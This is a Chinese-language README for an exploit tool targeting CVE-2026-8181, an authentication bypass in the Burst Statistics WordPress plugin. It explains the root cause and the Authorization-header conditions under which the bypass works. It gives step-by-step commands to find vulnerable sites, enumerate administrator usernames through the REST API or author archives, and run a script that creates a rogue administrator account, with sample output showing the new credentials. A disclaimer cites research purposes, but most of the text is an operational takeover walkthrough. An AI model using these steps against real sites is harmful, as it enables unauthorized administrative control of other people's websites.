## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WHATTHESLIME-CVE-2026-8181
# CVE-2026-8181 漏洞利用工具
### Burst Statistics WordPress 插件 — 从身份验证绕过到管理员权限提升
CVE-2026-8181 的利用代码,由 Chloe Chamberland 和 PRISM 发现。
### ⚠️ 免责声明
本仓库仅供**研究和防御性安全目的** 使用。 作者对滥用此信息不承担任何责任。
* * *
## 📌 概述
用于 WordPress 的 **Burst Statistics – Privacy-Friendly WordPress Analytics** 插件在版本 **3.4.0 至 3.4.1.1** 中存在一个**身份验证绕过漏洞,可导致管理员权限提升** 。
该漏洞存在于插件 MainWP 代理的 `is_mainwp_authenticated()` 方法中,该方法错误地将 `wp_authenticate_application_password()` 返回的任何非 `WP_Error` 值视为成功验证。
这使得知道有效管理员用户名的**未认证攻击者** 能够在**任何 REST API 请求期间冒充该管理员** ,包括 WordPress 核心端点,例如 `POST /wp-json/wp/v2/users`。现有管理员的凭据不会被泄露,但攻击者可以获得其权限,足以创建一个全新的管理员账户。
* * *
## 🔬 根本原因分析
漏洞链如下:
1. **`includes/class-burst.php:41`** -> 插件在 `plugins_loaded` 优先级 `9` 上注册了 `init()`,它运行 `bootstrap()` 并为每个请求(包括 REST)调用 `has_admin_access()`。
2. **`includes/Traits/trait-admin-helper.php:202`** -> 当请求携带标头 `X-BurstMainWP: 1` 时,`has_admin_access()` 实例化 `MainWP_Proxy` 并将身份验证委托给 `is_mainwp_authenticated()`。
3. **`includes/Frontend/class-mainwp-proxy.php:314`** -> 该方法读取 `Authorization` 标头,解码 Basic 凭据,并将攻击者提供的 / 转发给 WordPress 核心的 。
因此,一个带有虚假密码的单一 HTTP 请求就足以在 WordPress 核心 REST API 层面冒充任何管理员。
* * *
## 🔎 插件安装检测
1. **活动插件** — 仅当插件被排队时,首页 HTML 才会引用其资源:
root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
2. **版本** — `readme.txt` 以静态方式提供,并暴露了已安装版本(受影响:`3.4.0`–`3.4.1.1`,已修复:`3.4.2+`):
root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
附带的 `CVE-2026-8181.yaml` nuclei 模板可自动化两种检查和版本比较:
root@kitploit:~
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
* * *
## 🎯 利用
一旦检测到插件存在漏洞版本,利用需要知道一个有效的管理员用户名。WordPress 的 REST API 在大多数安装中通过公开用户端点泄露这些信息:
root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
当该端点被锁定(例如通过 _Disable REST API_ 或 _Stop User Enumeration_ ),作者归档技巧(`/?author=N`)通常仍会通过重定向到 `/author/<username>/` 泄漏用户名。
有了有效的用户名,该利用工具在单个请求中创建一个新的管理员账户:
0. 安装 Python 依赖:
root@kitploit:~
python3 -m venv venv
venv/bin/pip install -r requirements.txt
1. 对目标运行利用工具,使用 `-u` 提供已知的管理员用户名:
root@kitploit:~
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
输出示例:
root@kitploit:~
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' (some-email@example.com).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
2. 使用新创建的管理员账户登录 `/wp-admin/`。
* * *
## ⚠️ 限制
只有当 `Authorization` 标头通过 `$_SERVER['HTTP_AUTHORIZATION']` 到达 PHP 时,绕过才会触发。在 **Apache + mod_php 且使用普通永久链接** (WordPress 的默认设置)的情况下,不会生成 `.htaccess`,标头会被静默剥离——利用无法成功。
在 `设置 → 固定链接` 中切换到任何非普通永久链接会使 WordPress 5.6+ 将 `RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]` 指令写入 `.htaccess`,恢复转发。**Nginx + PHP-FPM** 和 **LiteSpeed** 默认转发 `Authorization` 标头,无论永久链接设置如何。漂亮的永久链接是生产环境中的 SEO 标准,这就是此漏洞被评为 **CVSS 9.8 未认证** 的原因。
利用工具首先尝试 `/wp-json/wp/v2/users`,然后回退到 `/index.php?rest_route=/wp/v2/users`,因此端点路由永远不会成为障碍——只有标头转发才是。
* * *
## 📚 参考文献
* https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
* https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
* https://vulners.com/cve/CVE-2026-8181